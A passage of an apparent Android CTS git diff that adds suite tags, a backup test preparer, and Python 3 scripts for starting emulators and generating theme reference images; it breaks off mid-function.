--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -19,7 +19,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutMultiuserTest
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index 11bfc2f..ae0bf75 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -21,7 +21,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion1
@@ -52,7 +52,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion2
diff --git a/hostsidetests/shortcuts/hostside/Android.mk b/hostsidetests/shortcuts/hostside/Android.mk
index 830ec94..f8bf4dd 100644
--- a/hostsidetests/shortcuts/hostside/Android.mk
+++ b/hostsidetests/shortcuts/hostside/Android.mk
@@ -27,7 +27,7 @@
LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/shortcuts/hostside/AndroidTest.xml b/hostsidetests/shortcuts/hostside/AndroidTest.xml
index 15d6a12..8b53b2e 100644
--- a/hostsidetests/shortcuts/hostside/AndroidTest.xml
+++ b/hostsidetests/shortcuts/hostside/AndroidTest.xml
@@ -15,7 +15,10 @@
-->
<configuration description="Config for the CTS ShortcutManager host tests">
<option name="config-descriptor:metadata" key="component" value="framework" />
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <target_preparer class="android.cts.backup.BackupPreparer">
+ <option name="enable-backup-if-needed" value="true" />
+ <option name="select-local-transport" value="true" />
+ </target_preparer> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsShortcutHostTestCases.jar" />
<option name="runtime-hint" value="10m" />
</test>
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 25f8317..960b41f 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -93,13 +93,19 @@
super.tearDown();
}
- private void doBackup() throws DeviceNotAvailableException {
+ private void doBackup() throws Exception {
CLog.i("Backing up package android...");
+
+ waitUntilBroadcastsDrain(); // b/64203677
+
+ CLog.i("Making sure the local transport is selected...");
assertContainsRegex(
"^Selected transport android/com.android.internal.backup.LocalTransport",
executeShellCommandWithLog(
"bmgr transport android/com.android.internal.backup.LocalTransport"));
+ executeShellCommandWithLog("dumpsys backup");
+
assertContainsRegex(
"Wiped",
executeShellCommandWithLog(
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index a9f06e4..745a0b4 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/sustainedperf/app/Android.mk b/hostsidetests/sustainedperf/app/Android.mk
index 41f61e4..f995837 100644
--- a/hostsidetests/sustainedperf/app/Android.mk
+++ b/hostsidetests/sustainedperf/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSustainedPerformanceDeviceTestApp
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index 4c6b53d..abcbe669 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -14,5 +14,5 @@
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
index 0c6c2a4..ba6bf64 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
@@ -33,6 +33,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
index d4305f5..ba437b9 100644
--- a/hostsidetests/systemui/Android.mk
+++ b/hostsidetests/systemui/Android.mk
@@ -29,7 +29,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/systemui/app/Android.mk b/hostsidetests/systemui/app/Android.mk
index ca987e7..fed7a9f 100644
--- a/hostsidetests/systemui/app/Android.mk
+++ b/hostsidetests/systemui/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsSystemUiDeviceApp
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 7d1d18c..3764442 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -38,7 +38,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 64ca416..4f93e5a 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -30,33 +30,42 @@
I. Generating reference images (CTS maintainers only)
Reference images are typically only generated for new API revisions. To
-generate a new set of reference images, do the following:
+generate a new set of reference images from an emulator, do the following:
- 1. Obtain the emulator image for the current platform. You can either build
- these from scratch (not recommended) via:
+ 1. Ensure the Android SDK is installed locally. Either a public or internal
+ distribution is fine. From the console, set the ANDROID_SDK_ROOT env var:
- make PRODUCT-sdk_phone_x86_64-sdk sdk_repo -j32
+ export ANDROID_SDK_ROOT = /path/to/sdk
- Or obtain them from the sdk-repo-linux-system-images-<build-id>.zip
- artifact from the sdk_phone_x86_64-sdk build server target.
+ 2. Obtain an x86_64 emulator image from the build server by using the script
+ available internally at go/emu-dev. This script will install the image in
+ your SDK.
- 2. Start one AVD emulator image for each DPI bucket (ldpi, xxxhdpi, etc.)
- that you wish to generate references images for. Anecdotally, up to three
- emulators can run reliably at the same time. Confirm that all emulators
- are connected with:
+ 3. Use the SDK's AVD Manager tool to create a single virtual device using the
+ emulator image from step 2. The exact configuration doesn't really matter;
+ you can use Nexus 5 as a template. Name the emulator "theme_emulator".
- adb devices
-
- 3. Set up your build environment for x86_64 and build CTS:
+ 4. From the console, set up your build environment for x86_64 and build CTS:
lunch sdk_x86_64-eng && make cts -j32
- 2. Generate the reference images. Generation occurs on all devices in
- parallel. Resulting sets of reference images are automatically saved in
- assets/<platform>/<dpi>.zip and will overwrite any existing sets. Image
- generation may be started using:
+ 5. Use the reference image script to generate the reference images. The script
+ will automatically start the emulator in the required configurations and
+ install the resulting reference images in assets/<platform>/<dpi>.zip,
+ overwriting any existing images.
- ./cts/hostsidetests/theme/generate_images.sh
+ ./cts/hostsidetests/theme/generate_images.py theme_emulator
+
+You can also generate reference images using a real device. To generate a new set
+of reference images from a real device, do the following:
+
+ 1. Connect the device. Verify the device is connected:
+
+ adb devices
+
+ 2. Use the reference image script to generate the reference images:
+
+ ./cts/hostsidetests/theme/generate_images.py
A complete collection of reference images for a given API revision must include
a set for each possible DPI bucket (tvdpi, xxhdpi, etc.) that may be tested.
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 4c7d8d1..7711060 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/python3
#
# Copyright (C) 2015 The Android Open Source Project
#
@@ -17,106 +17,119 @@
import os
import re
+import subprocess
import sys
import threading
-import subprocess
import time
+from subprocess import PIPE
+
+
# class for running android device from python
# it will fork the device processor
-class androidDevice(object):
- def __init__(self, adbDevice):
- self._adbDevice = adbDevice
+class AndroidDevice(object):
+ def __init__(self, serial):
+ self._serial = serial
- def runAdbCommand(self, cmd):
- self.waitForAdbDevice()
- adbCmd = "adb -s %s %s" %(self._adbDevice, cmd)
- print adbCmd
- adbProcess = subprocess.Popen(adbCmd.split(" "), bufsize = -1, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
- return adbProcess.communicate()
+ def run_adb_command(self, cmd, timeout=None):
+ adb_cmd = "adb -s %s %s" % (self._serial, cmd)
+ print(adb_cmd)
- def runShellCommand(self, cmd):
- return self.runAdbCommand("shell " + cmd)
+ adb_process = subprocess.Popen(args=adb_cmd.split(), bufsize=-1, stderr=PIPE, stdout=PIPE)
+ (out, err) = adb_process.communicate(timeout=timeout)
+ return out.decode('utf-8').strip(), err.decode('utf-8').strip()
- def waitForAdbDevice(self):
- print "waitForAdbDevice"
- os.system("adb -s %s wait-for-device" %self._adbDevice)
+ def run_shell_command(self, cmd):
+ return self.run_adb_command("shell %s" % cmd)
- def waitForBootComplete(self, timeout = 240):
+ def wait_for_device(self, timeout=30):
+ return self.run_adb_command('wait-for-device', timeout)
+
+ def wait_for_prop(self, key, value, timeout=30):
boot_complete = False
attempts = 0
- wait_period = 5
+ wait_period = 1
while not boot_complete and (attempts*wait_period) < timeout:
- (output, err) = self.runShellCommand("getprop dev.bootcomplete")
- output = output.strip()
- if output == "1":
+ (out, err) = self.run_shell_command("getprop %s" % key)
+ if out == value:
boot_complete = True
else:
time.sleep(wait_period)
attempts += 1
if not boot_complete:
- print "***boot not complete within timeout. will proceed to the next step"
+ print("%s not set to %s within timeout!" % (key, value))
return boot_complete
- def installApk(self, apkPath):
- (out, err) = self.runAdbCommand("install -r -d -g " + apkPath)
- result = err.split()
- return (out, err, "Success" in result)
+ def wait_for_service(self, name, timeout=30):
+ service_found = False
+ attempts = 0
+ wait_period = 1
+ while not service_found and (attempts*wait_period) < timeout:
+ (output, err) = self.run_shell_command("service check %s" % name)
+ if 'not found' not in output:
+ service_found = True
+ else:
+ time.sleep(wait_period)
+ attempts += 1
+ if not service_found:
+ print("Service '%s' not found within timeout!" % name)
+ return service_found
- def uninstallApk(self, package):
- (out, err) = self.runAdbCommand("uninstall " + package)
- result = err.split()
+ def wait_for_boot_complete(self, timeout=60):
+ return self.wait_for_prop('dev.bootcomplete', '1', timeout)
+
+ def install_apk(self, apk_path):
+ self.wait_for_service('package')
+ (out, err) = self.run_adb_command("install -r -d -g %s" % apk_path)
+ result = out.split()
+ return out, err, "Success" in result
+
+ def uninstall_package(self, package):
+ self.wait_for_service('package')
+ (out, err) = self.run_adb_command("uninstall %s" % package)
+ result = out.split()
return "Success" in result
- def runInstrumentationTest(self, option):
- return self.runShellCommand("am instrument -w --no-window-animation " + option)
+ def run_instrumentation_test(self, option):
+ self.wait_for_service('activity')
+ return self.run_shell_command("am instrument -w --no-window-animation %s" % option)
- def isProcessAlive(self, processName):
- (out, err) = self.runShellCommand("ps")
+ def is_process_alive(self, process_name):
+ (out, err) = self.run_shell_command("ps")
names = out.split()
# very lazy implementation as it does not filter out things like uid
# should work mostly unless processName is too simple to overlap with
# uid. So only use name like com.android.xyz
- return processName in names
+ return process_name in names
- def getVersionSdkInt(self):
- return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+ def get_version_sdk(self):
+ return int(self.run_shell_command("getprop ro.build.version.sdk")[0])
- def getVersionCodename(self):
- return self.runShellCommand("getprop ro.build.version.codename")[0].strip()
+ def get_version_codename(self):
+ return self.run_shell_command("getprop ro.build.version.codename")[0].strip()
- def getDensity(self):
- if "emulator" in self._adbDevice:
- return int(self.runShellCommand("getprop qemu.sf.lcd_density")[0])
+ def get_density(self):
+ if "emulator" in self._serial:
+ return int(self.run_shell_command("getprop qemu.sf.lcd_density")[0])
else:
- return int(self.runShellCommand("getprop ro.sf.lcd_density")[0])
+ return int(self.run_shell_command("getprop ro.sf.lcd_density")[0])
- def getSdkLevel(self):
- return int(self.runShellCommand("getprop ro.build.version.sdk")[0])
+ def get_orientation(self):
+ return int(self.run_shell_command("dumpsys | grep SurfaceOrientation")[0].split()[1])
- def getOrientation(self):
- return int(self.runShellCommand("dumpsys | grep SurfaceOrientation")[0].split()[1])
- # Running dumpsys on the emulator currently yields a SIGSEGV, so don't do it.
- #
- #def getHWType(self):
- # (output, err) = self.runShellCommand("dumpsys | grep android.hardware.type")
- # output = output.strip()
- # return output
-
-def runAdbDevices():
+def enumerate_android_devices(require_prefix=''):
devices = subprocess.check_output(["adb", "devices"])
- devices = devices.split('\n')[1:]
+ if not devices:
+ return []
- deviceSerial = []
+ devices = devices.decode('UTF-8').split('\n')[1:]
+ device_list = []
for device in devices:
- if device is not "":
+ if device is not "" and device.startswith(require_prefix):
info = device.split('\t')
if info[1] == "device":
- deviceSerial.append(info[0])
+ device_list.append(info[0])
- return deviceSerial
-
-if __name__ == '__main__':
- main(sys.argv)
+ return device_list
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index 5f6b11c..de63355 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := 23
diff --git a/hostsidetests/theme/assets/26/360dpi.zip b/hostsidetests/theme/assets/26/360dpi.zip
deleted file mode 100644
index 80b0527..0000000
--- a/hostsidetests/theme/assets/26/360dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/400dpi.zip b/hostsidetests/theme/assets/26/400dpi.zip
deleted file mode 100755
index d624bd5..0000000
--- a/hostsidetests/theme/assets/26/400dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/420dpi.zip b/hostsidetests/theme/assets/26/420dpi.zip
deleted file mode 100644
index 2d3f70b..0000000
--- a/hostsidetests/theme/assets/26/420dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/560dpi.zip b/hostsidetests/theme/assets/26/560dpi.zip
deleted file mode 100644
index 88d481e..0000000
--- a/hostsidetests/theme/assets/26/560dpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/hdpi.zip b/hostsidetests/theme/assets/26/hdpi.zip
deleted file mode 100755
index ba6d573..0000000
--- a/hostsidetests/theme/assets/26/hdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/mdpi.zip b/hostsidetests/theme/assets/26/mdpi.zip
deleted file mode 100644
index 28fa0bd..0000000
--- a/hostsidetests/theme/assets/26/mdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xhdpi.zip b/hostsidetests/theme/assets/26/xhdpi.zip
deleted file mode 100644
index c2e2ed0..0000000
--- a/hostsidetests/theme/assets/26/xhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxhdpi.zip b/hostsidetests/theme/assets/26/xxhdpi.zip
deleted file mode 100644
index 55a943b..0000000
--- a/hostsidetests/theme/assets/26/xxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/26/xxxhdpi.zip b/hostsidetests/theme/assets/26/xxxhdpi.zip
deleted file mode 100644
index bcbee87..0000000
--- a/hostsidetests/theme/assets/26/xxxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/27/260dpi.zip b/hostsidetests/theme/assets/27/260dpi.zip
new file mode 100644
index 0000000..3bfe1e9
--- /dev/null
+++ b/hostsidetests/theme/assets/27/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/280dpi.zip b/hostsidetests/theme/assets/27/280dpi.zip
new file mode 100644
index 0000000..4ceaab3
--- /dev/null
+++ b/hostsidetests/theme/assets/27/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/300dpi.zip b/hostsidetests/theme/assets/27/300dpi.zip
new file mode 100644
index 0000000..fbc8b2d
--- /dev/null
+++ b/hostsidetests/theme/assets/27/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/340dpi.zip b/hostsidetests/theme/assets/27/340dpi.zip
new file mode 100644
index 0000000..c244d86
--- /dev/null
+++ b/hostsidetests/theme/assets/27/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/360dpi.zip b/hostsidetests/theme/assets/27/360dpi.zip
new file mode 100644
index 0000000..ee3465a
--- /dev/null
+++ b/hostsidetests/theme/assets/27/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/400dpi.zip b/hostsidetests/theme/assets/27/400dpi.zip
new file mode 100644
index 0000000..8d5c84a
--- /dev/null
+++ b/hostsidetests/theme/assets/27/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/420dpi.zip b/hostsidetests/theme/assets/27/420dpi.zip
new file mode 100644
index 0000000..e5e228c
--- /dev/null
+++ b/hostsidetests/theme/assets/27/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/560dpi.zip b/hostsidetests/theme/assets/27/560dpi.zip
new file mode 100644
index 0000000..cd3b7e2
--- /dev/null
+++ b/hostsidetests/theme/assets/27/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/hdpi.zip b/hostsidetests/theme/assets/27/hdpi.zip
new file mode 100644
index 0000000..f2c95ed
--- /dev/null
+++ b/hostsidetests/theme/assets/27/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/ldpi.zip b/hostsidetests/theme/assets/27/ldpi.zip
new file mode 100644
index 0000000..6e441b7
--- /dev/null
+++ b/hostsidetests/theme/assets/27/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/mdpi.zip b/hostsidetests/theme/assets/27/mdpi.zip
new file mode 100644
index 0000000..9044082
--- /dev/null
+++ b/hostsidetests/theme/assets/27/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/tvdpi.zip b/hostsidetests/theme/assets/27/tvdpi.zip
new file mode 100644
index 0000000..38531ba
--- /dev/null
+++ b/hostsidetests/theme/assets/27/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xhdpi.zip b/hostsidetests/theme/assets/27/xhdpi.zip
new file mode 100644
index 0000000..34e6834
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxhdpi.zip b/hostsidetests/theme/assets/27/xxhdpi.zip
new file mode 100644
index 0000000..f628e5b
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/27/xxxhdpi.zip b/hostsidetests/theme/assets/27/xxxhdpi.zip
new file mode 100644
index 0000000..5d9ef51
--- /dev/null
+++ b/hostsidetests/theme/assets/27/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/tvdpi.zip b/hostsidetests/theme/assets/tvdpi.zip
deleted file mode 100755
index 553657f..0000000
--- a/hostsidetests/theme/assets/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/avd.py b/hostsidetests/theme/avd.py
new file mode 100644
index 0000000..4c444a2
--- /dev/null
+++ b/hostsidetests/theme/avd.py
@@ -0,0 +1,81 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import functools
+import math
+import socket
+import subprocess
+import sys
+import tempfile
+
+from android_device import *
+
+
+def find_free_port():
+ s = socket.socket()
+ s.bind(('', 0))
+ return int(s.getsockname()[1])
+
+
+class AVD(object):
+ def __init__(self, name, emu_path):
+ self._name = name
+ self._emu_path = emu_path
+ self._opts = ''
+ self._adb_name = None
+ self._emu_proc = None
+
+ def start(self):
+ if self._emu_proc:
+ raise Exception('Emulator already running')
+
+ port_adb = find_free_port()
+ port_tty = find_free_port()
+ # -no-window might be useful here
+ emu_cmd = "%s -avd %s %s-ports %d,%d" \
+ % (self._emu_path, self._name, self._opts, port_adb, port_tty)
+ print(emu_cmd)
+
+ emu_proc = subprocess.Popen(emu_cmd.split(" "), bufsize=-1, stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE)
+
+ # The emulator ought to be starting now.
+ self._adb_name = "emulator-%d" % (port_tty - 1)
+ self._emu_proc = emu_proc
+
+ def stop(self):
+ if not self._emu_proc:
+ raise Exception('Emulator not currently running')
+ self._emu_proc.kill()
+ (out, err) = self._emu_proc.communicate()
+ self._emu_proc = None
+ return out, err
+
+ def get_serial(self):
+ if not self._emu_proc:
+ raise Exception('Emulator not currently running')
+ return self._adb_name
+
+ def get_device(self):
+ if not self._emu_proc:
+ raise Exception('Emulator not currently running')
+ return AndroidDevice(self._adb_name)
+
+ def configure_screen(self, density, width_dp, height_dp):
+ width_px = int(math.ceil(width_dp * density / 1600) * 10)
+ height_px = int(math.ceil(height_dp * density / 1600) * 10)
+ self._opts = "-prop qemu.sf.lcd_density=%d -skin %dx%d " % (density, width_px, height_px)
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
new file mode 100755
index 0000000..f243ea4
--- /dev/null
+++ b/hostsidetests/theme/generate_images.py
@@ -0,0 +1,244 @@
+#!/usr/bin/python3
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import sys
+import tempfile
+import threading
+import time
+import traceback
+
+from android_device import *
+from avd import *
+from queue import Queue, Empty
+
+
+# This dict should contain one entry for every density listed in CDD 7.1.1.3.
+CTS_THEME_dict = {
+ 120: "ldpi",
+ 160: "mdpi",
+ 213: "tvdpi",
+ 240: "hdpi",
+ 260: "260dpi",
+ 280: "280dpi",
+ 300: "300dpi",
+ 320: "xhdpi",
+ 340: "340dpi",
+ 360: "360dpi",
+ 400: "400dpi",
+ 420: "420dpi",
+ 480: "xxhdpi",
+ 560: "560dpi",
+ 640: "xxxhdpi",
+}
+
+OUT_FILE = "/sdcard/cts-theme-assets.zip"
+
+
+class ParallelExecutor(threading.Thread):
+ def __init__(self, tasks, setup, q):
+ threading.Thread.__init__(self)
+ self._q = q
+ self._tasks = tasks
+ self._setup = setup
+ self._result = 0
+
+ def run(self):
+ try:
+ while True:
+ config = self._q.get(block=True, timeout=2)
+ for t in self._tasks:
+ try:
+ if t(self._setup, config):
+ self._result += 1
+ except KeyboardInterrupt:
+ raise
+ except:
+ print("Failed to execute thread:", sys.exc_info()[0])
+ traceback.print_exc()
+ self._q.task_done()
+ except KeyboardInterrupt:
+ raise
+ except Empty:
+ pass
+
+ def get_result(self):
+ return self._result
+
+
+# pass a function with number of instances to be executed in parallel
+# each thread continues until config q is empty.
+def execute_parallel(tasks, setup, q, num_threads):
+ result = 0
+ threads = []
+ for i in range(num_threads):
+ t = ParallelExecutor(tasks, setup, q)
+ t.start()
+ threads.append(t)
+ for t in threads:
+ t.join()
+ result += t.get_result()
+ return result
+
+
+def print_adb_result(device, out, err):
+ print("device: " + device)
+ if out is not None:
+ print("out:\n" + out)
+ if err is not None:
+ print("err:\n" + err)
+
+
+def do_capture(setup, device_serial):
+ (themeApkPath, out_path) = setup
+
+ device = AndroidDevice(device_serial)
+
+ version = device.get_version_codename()
+ if version == "REL":
+ version = str(device.get_version_sdk())
+
+ density = device.get_density()
+
+ if CTS_THEME_dict[density]:
+ density_bucket = CTS_THEME_dict[density]
+ else:
+ density_bucket = str(density) + "dpi"
+
+ out_file = os.path.join(out_path, os.path.join(version, "%s.zip" % density_bucket))
+
+ device.uninstall_package('android.theme.app')
+
+ (out, err, success) = device.install_apk(themeApkPath)
+ if not success:
+ print("Failed to install APK on " + device_serial)
+ print_adb_result(device_serial, out, err)
+ return False
+
+ print("Generating images on " + device_serial + "...")
+ try:
+ (out, err) = device.run_instrumentation_test(
+ "android.theme.app/android.support.test.runner.AndroidJUnitRunner")
+ except KeyboardInterrupt:
+ raise
+ except:
+ (out, err) = device.run_instrumentation_test(
+ "android.theme.app/android.test.InstrumentationTestRunner")
+
+ # Detect test failure and abort.
+ if "FAILURES!!!" in out.split():
+ print_adb_result(device_serial, out, err)
+ return False
+
+ # Make sure that the run is complete by checking the process itself
+ print("Waiting for " + device_serial + "...")
+ wait_time = 0
+ while device.is_process_alive("android.theme.app"):
+ time.sleep(1)
+ wait_time = wait_time + 1
+ if wait_time > 180:
+ print("Timed out")
+ break
+
+ time.sleep(10)
+
+ print("Pulling images from " + device_serial + " to " + out_file)
+ device.run_adb_command("pull " + OUT_FILE + " " + out_file)
+ device.run_adb_command("shell rm -rf " + OUT_FILE)
+ return True
+
+
+def get_emulator_path():
+ if 'ANDROID_SDK_ROOT' not in os.environ:
+ print('Environment variable ANDROID_SDK_ROOT must point to your Android SDK root.')
+ sys.exit(1)
+
+ sdk_path = os.environ['ANDROID_SDK_ROOT']
+ if not os.path.isdir(sdk_path):
+ print("Failed to find Android SDK at ANDROID_SDK_ROOT: %s" % sdk_path)
+ sys.exit(1)
+
+ emu_path = os.path.join(os.path.join(sdk_path, 'tools'), 'emulator')
+ if not os.path.isfile(emu_path):
+ print("Failed to find emulator within ANDROID_SDK_ROOT: %s" % sdk_path)
+ sys.exit(1)
+
+ return emu_path
+
+
+def start_emulator(name, density):
+ emu_path = get_emulator_path()
+
+ # Start emulator for 560dpi, normal screen size.
+ test_avd = AVD(name, emu_path)
+ test_avd.configure_screen(density, 360, 640)
+ test_avd.start()
+ try:
+ test_avd_device = test_avd.get_device()
+ test_avd_device.wait_for_device()
+ test_avd_device.wait_for_boot_complete()
+ return test_avd
+ except:
+ test_avd.stop()
+ return None
+
+
+def main(argv):
+ if 'ANDROID_BUILD_TOP' not in os.environ or 'ANDROID_HOST_OUT' not in os.environ:
+ print('Missing environment variables. Did you run build/envsetup.sh and lunch?')
+ sys.exit(1)
+
+ theme_apk = os.path.join(os.environ['ANDROID_HOST_OUT'],
+ 'cts/android-cts/testcases/CtsThemeDeviceApp.apk')
+ if not os.path.isfile(theme_apk):
+ print('Couldn\'t find test APK. Did you run make cts?')
+ sys.exit(1)
+
+ out_path = os.path.join(os.environ['ANDROID_BUILD_TOP'],
+ 'cts/hostsidetests/theme/assets')
+ os.system("mkdir -p %s" % out_path)
+
+ if len(argv) is 2:
+ for density in CTS_THEME_dict.keys():
+ emulator = start_emulator(argv[1], density)
+ result = do_capture(setup=(theme_apk, out_path), device_serial=emulator.get_serial())
+ emulator.stop()
+ if result:
+ print("Generated reference images for %ddpi" % density)
+ else:
+ print("Failed to generate reference images for %ddpi" % density)
+ break
+ else:
+ tasks = [do_capture]
+ setup = (theme_apk, out_path)
+
+ devices = enumerate_android_devices()
+
+ device_queue = Queue()
+ for device in devices:
+ device_queue.put(device)
